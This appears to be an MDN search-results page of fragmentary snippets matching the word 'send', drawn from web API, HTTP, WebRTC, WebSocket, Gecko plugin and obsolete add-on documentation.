... local-only measurements these properties are computed locally, and are only available to the device receiving the media stream. their primary purpose is to examine the error resiliency of the connection, as they provide information about lost packets, lost frames, and how heavily compressed the data is. ...
...w heavily compressed the data is. fircount a count of the total number of full intra request (fir) packets received by the
sender. this statistic is only available to the device which is receiving the stream and is only available for video tracks. ...
...And 3 more matches
RTCRtpTransceiver.direction - Web APIs
is indicated by the currentdirection property. syntax var direction = rtcrtptransceiver.direction value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type, indicating the transceiver's preferred direction. the rtcrtptransceiverdirection type is an enumeration of string values. ...
...er.direction value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type, indicating the transceiver's preferred direction. the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtp
sender and rtcrtpreceiver behave as shown in the table below. ...
...e strings which are a member of the rtcrtptransceiverdirection enumerated type, indicating the transceiver's preferred direction. the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtp
sender and rtcrtpreceiver behave as shown in the table below. value rtcrtp
sender behavior rtcrtpreceiver behavior "
sendrecv" offers to
send rtp data, and will do so if the other peer accepts the connection and at least one of the
sender's encodings is active1. offers to receive rtp data, and does so if the other peer accepts. "
sendonly" offers to
send rtp data, and will do so if the other peer accepts the connection and at least one of the
sender's encodings is active1. does not offer to recei...
...And 3 more matches
Using WebRTC data channels - Web APIs
but there's a lot more you can do with webrtc. in this guide, we'll examine how to add a data channel to a peer connection, which can then be used to securely exchange arbitrary data; that is, any kind of data we wish, in any format we choose. since all webrtc components are required to use encryption, any data transmitted on an rtcdatachannel is automatically secured using datagram transport layer security (dtls). see security below for more information. ...
...r id. buffering webrtc data channels support buffering of outbound data. this is handled automatically. while there's no way to control the size of the buffer, you can learn how much data is currently buffered, and you can choose to be notified by an event when the buffer starts to run low on queued data. this makes it easy to write efficient routines that make sure there's always data ready to
send without over-using memory or swamping the channel completely. <<<write more about using bufferedamount, bufferedamountlowthreshold, onbufferedamountlow, and bufferedamountlow here>>> ... understanding message size limits for any data being transmitted over a network, there are size restrictions. at a fundamental level, the individual network packets can't be larger than a certain value (the e...
...rary to implement sctp, but there are still situations in which data transfer on an rtcdatachannel can fail due to differences in how they call the library and react to errors it returns. when two users running firefox are communicating on a data channel, the message size limit is much larger than when firefox and chrome are communicating because firefox implements a now deprecated technique for
sending large messages in multiple sctp messages, which chrome does not. chrome will instead see a series of messages that it believes are complete, and will deliver them to the receiving rtcdatachannel as multiple messages. messages smaller than 16kib can be sent without concern, as all major user agents handle them the same way. beyond that, things get more complicated. concerns with large message...
...And 3 more matches
Writing a WebSocket server in C# - Web APIs
this is known as handshaking. this sample code can detect a get from the client. note that this will block until the first 3 bytes of a message are available. alternative solutions should be investigated for production environments. using system.text; using system.text.regularexpressions; while(client.available...
... the first byte, which currently has a value of 129, is a bitfield that breaks down as such: fin (bit 0) rsv1 (bit 1) rsv2 (bit 2) rsv3 (bit 3) opcode (bit 4:7) 1 0 0 0 ...
...getbytes( new system.text.regularexpressions.regex("sec-websocket-key: (.*)").match(data).groups[1].value.trim() + "258eafa5-e914-47da-95ca-c5ab0dc85b11" ) ) ) + eol + eol); stream.write(response, 0, response.length); } decoding messages after a successful handshake, the client will
send encoded messages to the server. if we
send "mdn", we get these bytes: 129 131 61 84 35 6 112 16 109 let's take a look at what these bytes mean. the first byte, which currently has a value of 129, is a bitfield that breaks down as such: fin (bit 0) rsv1 (bit 1) rsv2 (bit 2) rsv3 (bit 3) opcode (bit 4:7) 1 0 0 0 0x1=0001 fin bit: this bit indic...
...And 3 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
e audio sources, represented using the src attribute or the <source> element: the browser will choose the most suitable one. it can also be the destination for streamed media, using a mediastream. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the above example shows simple usage of the <audio> element. in a similar manner to the <img> element, we include a path to the media we want to embed inside the src attribute; we can include other attributes to specify information such as whether we want it to autoplay and loop, whether we want to show the browser's default audio controls, etc. the content inside the opening...
... controls if this attribute is present, the browser will offer controls to allow the user to control audio playback, including volume, seeking, and pause/resume playback. crossorigin this enumerated attribute indicates whether to use cors to fetch the related audio file. cors-enabled resources can be reused in the <canvas> element without being tainted. ...
...ols to allow the user to control audio playback, including volume, seeking, and pause/resume playback. crossorigin this enumerated attribute indicates whether to use cors to fetch the related audio file. cors-enabled resources can be reused in the <canvas> element without being tainted. the allowed values are: anonymous
sends a cross-origin request without a credential. ...
...And 3 more matches
Standard metadata names - HTML: Hypertext Markup Language
firefox and opera, use this as the default description of bookmarked pages. generator: the identifier of the software that generated the page. keywords: words relevant to the page's content separated by commas. ...
...of bookmarked pages. generator: the identifier of the software that generated the page. keywords: words relevant to the page's content separated by commas. referrer: controls the http referer header for to requests sent from the document: values for the content attribute of <meta name="referrer"> no-referrer do not
send a http referer header. origin
send the origin of the document. ...
...he page. keywords: words relevant to the page's content separated by commas. referrer: controls the http referer header for to requests sent from the document: values for the content attribute of <meta name="referrer"> no-referrer do not
send a http referer header. origin
send the origin of the document. ...
...And 3 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
ideo>) embeds a media player which supports video playback into the document. you can use <video> for audio content as well, but the <audio> element may provide a more appropriate user experience. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the above example shows simple usage of the <video> element. in a similar manner to the <img> element, we include a path to the media we want to display inside the src attribute; we can include other attributes to specify information such as video width and height, whether we want it to autoplay and loop, whether we want to show the browser's default video controls, etc. the ...
...wed values are nodownload, nofullscreen and noremoteplayback. use the disablepictureinpicture attribute if you want to disable the picture-in-picture mode (and the control). crossorigin this enumerated attribute indicates whether to use cors to fetch the related image. cors-enabled resources can be reused in the <canvas> element without being tainted. ...
...e disablepictureinpicture attribute if you want to disable the picture-in-picture mode (and the control). crossorigin this enumerated attribute indicates whether to use cors to fetch the related image. cors-enabled resources can be reused in the <canvas> element without being tainted. the allowed values are: anonymous
sends a cross-origin request without a credential. ...
...And 3 more matches
Content negotiation - HTTP
eactive negotiation), that are used as fallback mechanisms. over the years, other content negotiation proposals, like transparent content negotiation and the alternates header, have been proposed. they failed to get traction and got abandoned. server-driven content negotiation in server-driven content negotiation, or proactive content negotiation, the browser (or any other kind of user-agent)
sends several http headers along with the url. these headers describe the preferred choice of the user. the server uses them as hints and an internal algorithm chooses the best content to serve to the client. the algorithm is server-specific and not defined in the standard. see, for example, the apache negotiation algorithm. the http/1.1 standard defines list of the standard headers that start serv...
...best content to serve to the client. the algorithm is server-specific and not defined in the standard. see, for example, the apache negotiation algorithm. the http/1.1 standard defines list of the standard headers that start server-driven negotiation (accept, accept-charset, accept-encoding, accept-language). though strictly speaking user-agent is not in this list, it is sometimes also used to
send a specific representation of the requested resource, though this is not considered as a good practice. the server uses the vary header to indicate which headers it actually used for content negotiation (or more precisely the associated response headers), so that caches can work optimally. in addition to these, there is an experimental proposal to add more headers to the list of available headers...
.... the value is a q-factor list (e.g.: br, gzip;q=0.8) that indicates the priority of the encoding values. the default value identity is at the lowest priority (unless otherwise declared). compressing http messages is one of the most important ways to improve the performance of a web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always
send this header and the server should be configured to abide to it and to use compression. the accept-language header the accept-language header is used to indicate the language preference of the user. it is a list of values with quality factors (like: "de, en;q=0.7"). a default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set di...
...And 3 more matches
HTTP response status codes - HTTP
the message body. trace: the message body contains the request message as received by the server 201 created the request has succeeded and a new resource has been created as a result. this is typically the response sent after post requests, or some put requests. 202 accepted the request has been received but not yet acted upon. it is noncommittal, since there is no way in http to later
send an asynchronous response indicating the outcome of the request. it is intended for cases where another process or server handles the request, or for batch processing. 203 non-authoritative information this response code means the returned meta-information is not exactly the same as is available from the origin server, but is collected from a local or a third-party copy. this is mostly used for ...
...sing. 203 non-authoritative information this response code means the returned meta-information is not exactly the same as is available from the origin server, but is collected from a local or a third-party copy. this is mostly used for mirrors or backups of another resource. except for that specific case, the "200 ok" response is preferred to this status. 204 no content there is no content to
send for this request, but the headers may be useful. the user-agent may update its cached headers for this resource with the new ones. 205 reset content tells the user-agent to reset the document which sent this request. 206 partial content this response code is used when the range header is sent from the client to request only part of a resource. 207 multi-status (webdav) conveys information a...
...se proxy defined in a previous version of the http specification to indicate that a requested response must be accessed by a proxy. it has been deprecated due to security concerns regarding in-band configuration of a proxy. 306 unused this response code is no longer used; it is just reserved. it was used in a previous version of the http/1.1 specification. 307 temporary redirect the server
sends this response to direct the client to get the requested resource at another uri with same method that was used in the prior request. this has the same semantics as the 302 found http response code, with the exception that the user agent must not change the http method used: if a post was used in the first request, a post must be used in the second request. 308 permanent redirect this means tha...
...And 3 more matches
port - Archive of obsolete content
this article documents the port object, which is used to communicate between a content script and the main add-on code. the port object provides message
sending and receiving api enabling conversations between a content script and the main add-on code. each end of the conversation has access to a port: the content script via the global self property, and the main add-on code via a worker object associated with the sdk module you've used to attach the content script, such as page-mod or page-worker. for an overview of content scripts, see the main article. port methods emit() the port.emit() function
sends a message from one side to the other. it may be called with any number of parameters, but is most likely to be called with a name for the message and an optional payload. the payload...
... you can use port.on() to listen for messages. to stop listening for a particular message, use port.removelistener(). this takes the same two parameters as port.on(): the name of the message, and the name of the listener function. for example, here's an add-on that creates a page-worker and a button. the page-worker loads http://en.wikipedia.org/wiki/chalk alongside a content script. ...
...when it receives this message, the script logs the first paragraph of the document and then calls removelistener() to stop listening. // content-script.js function getfirstparagraph() { var paras = document.getelementsbytagname('p'); console.log(paras[0].textcontent);...
...And 2 more matches
page-worker - Archive of obsolete content
to a script saved under your add-on's data directory. you construct the url using the data.url() method of the self module. while content scripts can access dom content, they can't access any of the sdk apis, so in many cases you'll need to exchange messages between the content script and your main add-on code for a complete solution. ...
...ipt and your main add-on code for a complete solution. for example, the content script might read some content and
send it back to the main add-on, which could store it using the simple-storage api. you can communicate with the script using either the postmessage() api or (preferably, usually) the port api. ...
...t back to the main add-on, which could store it using the simple-storage api. you can communicate with the script using either the postmessage() api or (preferably, usually) the port api. ...
...And 2 more matches
jspage - Archive of obsolete content
mplete").fireevent("failure",this.xhr);},setheader:function(a,b){this.headers.set(a,b); return this;},getheader:function(a){return $try(function(){return this.xhr.getresponseheader(a);}.bind(this));},check:function(){if(!this.running){return true; }switch(this.options.link){case"cancel":this.cancel();return true;case"chain":this.chain(this.caller.bind(this,arguments));return false;}return false;},
send:function(k){if(!this.check(k)){return this; }this.running=true;var i=$type(k);if(i=="string"||i=="element"){k={data:k};}var d=this.options;k=$extend({data:d.data,url:d.url,method:d.method},k);var g=k.data,b=string(k.url),a=k.method.tolowercase(); switch($type(g)){case"element":g=document.id(g).toquerystring();break;case"object":case"hash":g=hash.toquerystring(g);}if(this.options.format){var j="fo...
...; }var e=b.lastindexof("/");if(e>-1&&(e=b.indexof("#"))>-1){b=b.substr(0,e);}if(g&&a=="get"){b=b+(b.contains("?")?"&":"?")+g;g=null;}this.xhr.open(a.touppercase(),b,this.options.async); this.xhr.onreadystatechange=this.onstatechange.bind(this);this.headers.each(function(m,l){try{this.xhr.setrequestheader(l,m);}catch(n){this.fireevent("exception",[l,m]); }},this);this.fireevent("request");this.xhr.
send(g);if(!this.options.async){this.onstatechange();}return this;},cancel:function(){if(!this.running){return this; }this.running=false;this.xhr.abort();this.xhr.onreadystatechange=$empty;this.xhr=new browser.request();this.fireevent("cancel");return this;}});(function(){var a={}; ["get","post","put","delete","get","post","put","delete"].each(function(b){a[b]=function(){var c=array.link(arguments,{ur...
...nge();}return this;},cancel:function(){if(!this.running){return this; }this.running=false;this.xhr.abort();this.xhr.onreadystatechange=$empty;this.xhr=new browser.request();this.fireevent("cancel");return this;}});(function(){var a={}; ["get","post","put","delete","get","post","put","delete"].each(function(b){a[b]=function(){var c=array.link(arguments,{url:string.type,data:$defined}); return this.
send($extend(c,{method:b}));};});request.implement(a);})();element.properties.
send={set:function(a){var b=this.retrieve("
send");if(b){b.cancel(); }return this.eliminate("
send").store("
send:options",$extend({data:this,link:"cancel",method:this.get("method")||"post",url:this.get("action")},a));},get:function(a){if(a||!this.retrieve("
send")){if(a||!this.retrieve("
send:options")){this.set("
send",a); }this...
...And 2 more matches
Mozilla release FAQ - Archive of obsolete content
ewsgroups, you probably should be reading the newsgroup for a few days regularly before you post anything. reading this faq might help as well. i did all that, and people were still rude to me. why? if you're proposing reworking something (like http, html, etc) you're expected to have a pretty good knowlege of it first. for example, if you were to make a proposal to compress whole webpages before
sending them, devise a new protocol to do so, research how http works, how html works, and think about all the good *and* bad points of reworking things. to start understanding the issues with this example, you should dig up the rfcs for the relevant protocols, any documents written on the subject, etc. for this particular example, you would want to go look at relevant topics stuart cheshire's disc...
...t help you find out what arguments it's passing to ld, or whatever, and thus perhaps enlighten you as to the problem. on gcc, try gcc -v (rest of command line). how long will mozilla take to build? a long time, but this will depend quite a bit on your system. ram will probably be the bottleneck in most cases, at least until you are well over 128m ram. ...
...c -v (rest of command line). how long will mozilla take to build? a long time, but this will depend quite a bit on your system. ram will probably be the bottleneck in most cases, at least until you are well over 128m ram. here are a few representative systems (please
send your specs in to me) removed because the tree has changed enough that we'll probably need new times for all the builds. please
send stats to me in the following format: cpu/mhz, architecture, ram, disk type, os version, compiler version, build type, tree date -- build time example: 21164/533, alpha, 512m edo, ultra2 scsi, linux kernel 2.2.11, gcc 2.95, non-debug, 19 august 1999 cvs -- 25 minutes how do i run the binary on unix? i get library errors in dist/bin there's a script called mozilla. use that to launch mozilla for yo...
...And 2 more matches
Game promotion - Game development
o deal with. act cool, be generous, be yourself and be there for others, and you'll get treated with respect. game portals using game portals is mostly concerned with monetization, but if you're not planning to sell licenses to allow people to purchase your game and are intending to implement adverts or in-app purchases instead, promoting your game across free portals can be effective. you can
send your games for publication on portals like crazygames.com, gamedistribution.com, lagged.com, pacogames.com ,games4html5.com or html5games.com, and there are about 20-30 other notable game portals with and without api. those portals that have their own api will allow you to authorize users, save their progress and process in-app purchases. you can also sell a full version of the game from inside...
...visible to a broader audience if you have no budget and limited time. press you can try and reach the press about your game, but bear in mind that they get a tonne of requests like this every single day, so be humble and patient if they don't answer right away, and be polite when talking to them. be sure to check first if they are dealing with specific genres of games or platforms, so you don't
send them something that is not relevant to them in the first place. if you're honest with your approach and your game is good, then you've got more of a chance of success. if you want to learn more about the etiquette of contacting the press you should definitely check out how to contact press - a great guide from pixel prospector, and the video game journaliser site curated by them for the list of ...
...nderestimate the power of youtubers playing your game, talking about it and streaming their experience to give you lots of promotion. you should also be realistic however — don't think this alone will skyrocket your downloads or visits, and be prepared to deal with bad reviews as well as good ones. there are two options to get coverage from the youtubers: first is you contact them directly and
send a link to your game via email or private message. the second is earned in time - if you're known enough the youtubers will contact you and ask for the link or build of your game. this big list of youtubers is a great place to start. you can find youtube and twitch.tv influencers at gameinfluencer.com to help promote your game. events if you've gone through all the options listed above you can s...
...And 2 more matches
Plug-in Development Overview - Gecko Plugin API Reference
nd invokes the plug-in object that supports that type. the data can come from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type), from a separate non-html file of that mime type, or from the server. the server looks for the mime type registered by a plug-in, based on the file extension, and starts
sending the file to the browser. the browser looks up the media type, and if it finds a plug-in registered to that type, loads the plug-in software. when it starts up, the browser checks for plug-in modules for the platform and registers them. it determines which plug-ins are installed and which types they support through a combination of user preferences that are private to the browser, the contents...
...nt handling. handling memory plug-in developers can take advantage of the memory features provided in the plug-in api to allocate and free memory. use the npn_memalloc method to allocate memory from the browser. use the npn_memfree method to free memory allocated with npn_memalloc. use the npn_memflush method to free memory (mac os only) before calling memory-intensive mac toolbox calls.
sending and receiving streams streams are objects that represent urls and the data they contain. a stream is associated with a specific instance of a plug-in, but a plug-in can have more than one stream per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the...
...oduced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. streams produced by the browser can be automatically sent to the plug-in instance or requested by the plug-in. ...
...And 2 more matches
How the Web works - Learn web development
le story. there are many other parts involved, and we'll describe them below. for now, let's imagine that the web is a road. on one end of the road is the client, which is like your house. on the other end of the road is the server, which is a shop you want to buy something from. in addition to the client and the server, we also need to say hello to: your internet connection: allows you to
send and receive data on the web. it's basically like the street between your house and the shop. tcp/ip: transmission control protocol and internet protocol are communication protocols that define how data should travel across the internet. this is like the transport mechanisms that let you place an order, go to the shop, and buy your goods. in our example, this is like a car or a bike (or however e...
...the shop, and buy your goods. in our example, this is like a car or a bike (or however else you might get around). dns: domain name servers are like an address book for websites. when you type a web address in your browser, the browser looks at the dns to find the website's real address before it can retrieve the website. the browser needs to find out which server the website lives on, so it can
send http messages to the right place (see below). this is like looking up the address of the shop so you can access it. http: hypertext transfer protocol is an application protocol that defines a language for clients and servers to speak to each other. this is like the language you use to order your goods. component files: a website is made up of many different files, which are like the different p...
...tive name for all the other stuff that makes up a website, such as images, music, video, word documents, and pdfs. so what happens, exactly? when you type a web address into your browser (for our analogy that's like walking to the shop): the browser goes to the dns server, and finds the real address of the server that the website lives on (you find the address of the shop). ...
...And 2 more matches
Client-Server Overview - Learn web development
his discussion is however still very relevant, because the described behaviour must be implemented by your server-side code, irrespective of which programming language or web framework you select. web servers and http (a primer) web browsers communicate with web servers using the hypertext transfer protocol (http). when you click a link on a web page, submit a form, or run a search, the browser
sends an http request to the server. this request includes: a url identifying the target server and resource (e.g. an html file, a particular data point on the server, or a tool to run). a method that defines the required action (for example, to get a file or to save or update some data). the different methods/verbs and their associated actions are listed below: get: get a specific resource...
... resource cannot be found, "403 forbidden" if the user isn't authorised to see the resource, etc). the body of a successful response to a get request would contain the requested resource. when an html page is returned it is rendered by the web browser. as part of processing the browser may discover links to other resources (e.g. an html page usually references javascript and css pages), and will
send separate http requests to download these files. both static and dynamic websites (discussed in the following sections) use exactly the same communication protocol/patterns. get request/response example you can make a simple get request by clicking on a link or searching on a site (like a search engine homepage). for example, the http request that is sent when you perform a search on mdn for th...
...hen you get to thousands of product pages? you would repeat a lot of code across each page (the basic page template, structure, etc.), and if you wanted to change anything about the page structure — like add a new "related products" section for example — then you'd have to change every page individually. note: static sites are excellent when you have a small number of pages and you want to
send the same content to every user. however they can have a significant cost to maintain as the number of pages becomes larger. let's recap on how this works, by looking again at the static site architecture diagram we looked at in the last article. when a user wants to navigate to a page, the browser
sends an http get request specifying the url of its html page. the server retrieves the request...
...And 2 more matches
Frame script loading and lifetime
your frame script is unloaded (due to tab close for instance), you must set the third argument of addmessagelistener to true. ...
...essage: function() { console.log('incoming message from frame script:', amsg.data); } }, true // must set this argument to true, otherwise
sending message from framescript will not work during and after the unload event on the contentmessagemanager triggers ); then in your frame script, listen for the unload event of the message manager (which is the global this), and
sending a message. if you did not set the third argument to true in bootstrap.js on services.mm.addmessagelistener,
sending this message during, and after, the unloading event will do nothing. ...
...of the message manager (which is the global this), and
sending a message. if you did not set the third argument to true in bootstrap.js on services.mm.addmessagelistener,
sending this message during, and after, the unloading event will do nothing. ...
...And 2 more matches
Performance
lem described in their respective subtopics. performance best practices declaring stateless functions once per process bad: // addon.js services.mm.loadframescript("framescript.js", true) // framescript.js const precomputedconstants = // ... function helper(window, action) { // ... do some work on the window } function dosomething(message) { result = helper(content, message.data)
sendasyncmessage("my-addon:response-from-child", {something: result}) } addmessagelistener("my-addon:request-from-parent", dosomething) why is this bad? because declared functions are also objects. and since frame scripts get evaluated for each tab this means new function objects get instantiated, new constants get computed, block scopes must be set up etc. while it may seem fairly innocencous i...
...mescript.js components.utils.import("resource://my-addon/processmodule.jsm", {}).addframe(this) // processmodule.jsm const exported_symbols = ['addframe']; const precomputedconstants = // ... function helper(window, action) { // ... do some work on the window } function dosomething(message) { frameglobal = message.target result = helper(frameglobal.content, message.data) frameglobal.
sendasyncmessage("my-addon:response-from-child", {something: result}) } function addframe(frameglobal) { frameglobal.addmessagelistener("my-addon:request-from-parent", dosomething) } javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless callbacks. but care must be taken to not leak references to the frame scr...
...vents other observers and services should be registered in a process script or jsm instead load frame scripts on demand bad: // addon.js services.mm.loadframescript("framescript.js", /*delayed:*/ true) // stuff communicating with the framescript // framescript.js function onlyonceinabluemoon() { // we only need this during a total solar eclipse while goat blood rains from the sky
sendasyncmessage('my-addon:paragraph-count', {num: content.document.queryselectorall('p').length}) } addmessagelistener("my-addon:request-from-parent", onlyonceinabluemoon) better: // addon.js function ontoolbarbutton(event) { let tabmm = gbrowser.mcurrentbrowser.frameloader.messagemanager; let button = event.target; let callback = (message) => { tabmm.removemessagelistener("my-addon:para...
...And 2 more matches
IPDL Best Practices
there a range of mistakes that authors of new sub-protocols frequently make. this document is intended to help correct these before the formal review process is initiated. lifetime management ensure ipdl deletes your protocol all protocols must be deleted. period. are you
sending the __delete__ message to trigger protocol deletion? this one is easy to miss, as the corresponding recv__delete__ function has a stub implementation automatically generated in the base class. simply calling delete on a pointer to an actor is not enough. using ipdl generated structs as data structures outside of ipc serialization/deserialization ipdl generated structures are meant to facilitate serialization/deserialization and message passing. do not use them as data structures outside of ipdl, or wou wi...
...y to get it right the first time (lessons learned from the http channel and geolocation protocols): allocpprotocol calls addref deallocpprotocol calls release this ensures that the actor will not disappear from under ipdl, and that you won't get bizarre crashes at other times if ipdl deletes the protocol tree. the main concern you have now is that you absolutely, certainly, positively call
send__delete__ in all possible circumstances or your protocol can and will leak. calling ipdl functions willy-nilly let's say you have an object that implements an ipdl interface, but it also outlives it (case in point: reference-counted). is there any chance that an ipdl function could be called after the protocol itself has been destroyed, or before it has been created? don't let it happen - that ...
...tocol - allocation manager::recvpprotocolconstructor - initialization, protocol deletion (the typeaheadfind protocol uses one-shot protocols like this) actor::recv__delete__ - cleanup, ipdl calls still valid but ill-advised actor::actordestroy - non-ipdl cleanup manager::deallocpprotocol - deallocation one construct to avoid: class protocolparent { public: ~protocolparent() {
send__delete__(this); } }; class protocolmanagerparent { public: pprotocolparent* allocpprotocol() { return new protocolparent(); } bool deallocpprotocol() { return true; } }; nsautoptr<pprotocolparent> parent = manager->
sendpprotocolconstructor(); while this may look appealing as the ipdl logic is stuffed away in a sensible place, it breaks under error conditi...
...And 2 more matches
PromiseWorker.jsm
javascript files imported into the worker scope and main thread scope which allows posting to the worker and receiving in the form of a promise. like chromeworker objects, promiseworker is mostly used for js-ctypes but it is not limited to that. there is no xpcom access, similar to chromeworker. this answers the question "when should i use a promiseworker?", and the answer is, whenever you would normally use a chromeworker, but want postmessage to return promises. the promiseworker object is used to deliver all of the os.file functionality to the main thread. ...
...ate abstractworker itself and set its properties later, instead of creating derived class. main thread file the basepromiseworker object needs to be imported: const { utils: cu } = components; const { basepromiseworker } = cu.import('resource://gre/modules/promiseworker.jsm', {}); let myworker = new basepromiseworker('path_to_worker_file.js'); you're now ready to start using promiseworker.
sending a message from main thread to
send a message to a worker from the main thread, one normally uses postmessage(). for promiseworker objects, however, you can't do that. instead, use the post() method, as seen below. post syntax promise = myworker.post(afunctionname, aargs, aclosure, atransferlist); parameters afunctionname the name of the function to be called as it appears in the wo...
...post('func', [foo(), bar(), baz()]) foo now has the power to determine if the argument should be transferred by returning a meta instance. so it can transfer an object without modifying the caller. here is a simple demo showing how to transfer the second argument to a worker: github:: promiseworker transfer data line 23. the command outline below this shows how to do the same with meta syntax.
sending a message from worker with all other workers, to
send a message to the main thread, postmessage is typically used. however with promiseworker objects this is no longer the case, simply return data or throw from your function depending if you want to resolve or reject the promise. in summary, from a worker file, data can only be sent back as a response to a request from the main thread, it is ...
...And 2 more matches
PRIOMethods
close close file and destroy descriptor. ...
... close close file and destroy descriptor. read ...
... close close file and destroy descriptor. read read up to the specified number of ...
...And 2 more matches
nsIFrameLoader
note: this interface works in tandem with the nsicontentview interface to manage frames across processes if electrolysis is in use to support per-frame processes. ...
...rocesses. ...
...ne. loadframe() starts loading the frame. this method figures out what to load from the owner content in the frame loader. void loadframe(); parameters none. loaduri() loads the specified uri in this frame. behaves identically to loadframe(), except that this method lets you specify the uri to load. void loaduri( in nsiuri auri ); parameters auri the uri to load into the frame.
sendcrossprocesskeyevent() creates and
sends a keyevent to the content viewport's process. see nsidomwindowutils.
sendkeyevent() for details; this method is its equivalent for cross-process event handling. void
sendcrossprocesskeyevent( in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault ); parameters atype the event type. ...
...And 2 more matches
nsIMessenger
enurl(in acstring aurl); void loadurl(in nsidomwindow ptr, in acstring aurl); void launchexternalurl(in acstring aurl); boolean canundo(); boolean canredo(); unsigned long getundotransactiontype(); unsigned long getredotransactiontype(); void undo(in nsimsgwindow msgwindow); void redo(in nsimsgwindow msgwindow); void
sendunsentmessages(in nsimsgidentity aidentity, in nsimsgwindow amsgwindow); void setdocumentcharset(in acstring characterset); void saveas(in acstring auri, in boolean aasfile, in nsimsgidentity aidentity, in astring amsgfilename); void openattachment(in acstring contenttpe, in acstring url, in acstring displayname, in acstring messageuri, in boolean isexternalattachment); ...
...story(out unsigned long acurpos, out unsigned long acount, [array, size_is(acount)] out string ahistory); note: prior to gecko 8.0, all references to nsidomwindow used in this interface were nsidomwindow. attributes attribute type description transactionmanager nsitransactionmanager readonly: the transaction manager for this nsimessenger instance.
sendingunsentmsgs boolean indicates if
sending messages is in progress. lastdisplayedmessageuri acstring readonly: the url of the last displayed message. navigatepos long the current index in the navigation history. constants name value description eunknown 0 unknown transaction type. edeletemsg 1 delete transacti...
...) load a custom message by url. similar to openurl() except can be used to load things that appear as messages to users (e.g load an attachment as a email). void loadurl(in nsidomwindow awin, in acstring aurl); parameters awin a window. as far as i can tell this isn't used or checked. aurl the url to open. launchexternalurl() launches the nsiexternalprotocolservice and
sends it the url. void launchexternalurl(in acstring aurl); parameters aurl the url to open. canundo() queries if there are any undo items in the transaction manager. boolean canundo(); return value boolean representing whether undo is available. canredo() queries if there are any redo items in the transaction manager. boolean canredo(); return value boolean representing wh...
...And 2 more matches
nsIPushSubscription
a subscription also has a public key and secret; these are used to encrypt message payloads. this interface resembles pushsubscription from the push api. ...
...a subscription also has a public key and secret; these are used to encrypt message payloads. this interface resembles pushsubscription from the push api. ...
... returns false for system subscriptions. parameters none. ...
...And 2 more matches
Cached compose window FAQ
the downsides are that we have had some bugs, it complicates and bloats the code, and it requires more testing. ...
... the downsides are that we have had some bugs, it complicates and bloats the code, and it requires more testing. ...
...e, and it requires more testing. the upside is that is has been a major performance win why did you do this? back 0.9.7, we hit a wall with the compose window. any new window performance problems that mozilla has are especially painful in mail compose, as we need to create a new compose window on every new mail message or reply. but we noticed that the common usage pattern is to compose,
send, compose,
send, compose
send. we decided it would be worth the trouble to cache the compose window. if the user has this usage pattern, we wouldn't have to create a new window. we could just hide it on
send, and then show it on the next compose. if the user opens (but never
sends or closes compose windows), this trick will not apply to them. but this is not a common usage model. how do i...
...And 2 more matches
Plug-in Development Overview - Plugins
nd invokes the plug-in object that supports that type. the data can come from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type), from a separate non-html file of that mime type, or from the server. the server looks for the mime type registered by a plug-in, based on the file extension, and starts
sending the file to the browser. the browser looks up the media type, and if it finds a plug-in registered to that type, loads the plug-in software. when it starts up, the browser checks for plug-in modules for the platform and registers them. it determines which plug-ins are installed and which types they support through a combination of user preferences that are private to the browser, the contents...
...nt handling. handling memory plug-in developers can take advantage of the memory features provided in the plug-in api to allocate and free memory. use the npn_memalloc method to allocate memory from the browser. use the npn_memfree method to free memory allocated with npn_memalloc. use the npn_memflush method to free memory (mac os only) before calling memory-intensive mac toolbox calls.
sending and receiving streams streams are objects that represent urls and the data they contain. a stream is associated with a specific instance of a plug-in, but a plug-in can have more than one stream per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the...
...oduced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. streams produced by the browser can be automatically sent to the plug-in instance or requested by the plug-in. ...
...And 2 more matches
URLs - Plugins
uniform resource locator (url) protocols provide a means for locating and accessing resources that are available on the internet and on intranets. plug-ins can request and receive the data associated with urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher. the table below summarizes urls supported by gecko. in addition, gecko may support urls not listed on this table. ...
...tance is destroyed and the plug-in may be unloaded. here's an example of getting a url: a plug-in instance draws a button that acts like a link to another web page. when the user clicks the button, the plug-in calls npn_geturl to go to the page. err = npn_geturl( instance, "http://www.example.com/", "_blank"); posting urls posting data to an http server uploading files to an ftp server
sending mail the plug-in calls npn_posturl to post data from a file or buffer to a url. this function is the counterpart of npn_geturl. npn_posturl writes data from a file or buffer to the url and either displays the server response in the target window or delivers it to the plug-in. npn_geturl reads data from the url and either displays it in the target window or delivers it to the plug-in. f...
... if a file is posted with any protocol other than ftp, the file must be text with unix-style line breaks ('\n' separators only). npn_posturl works identically with buffers and files. to post data from a memory buffer, set the flag file to false, the buffer buf to the data to post, and len to the length of the buffer. possible url types include http (similar to an html form submission), mailto (
sending mail), news (posting a news article), and ftp (uploading a file). for protocols in which the headers must be distinguished from the body, such as http, the buffer or file should contain the headers, followed by a blank line, then the body. if no custom headers are required, simply add a blank line ('\n') to the beginning of the file or buffer. note: you cannot use npn_posturl to specify heade...
...And 2 more matches
Beacon API - Web APIs
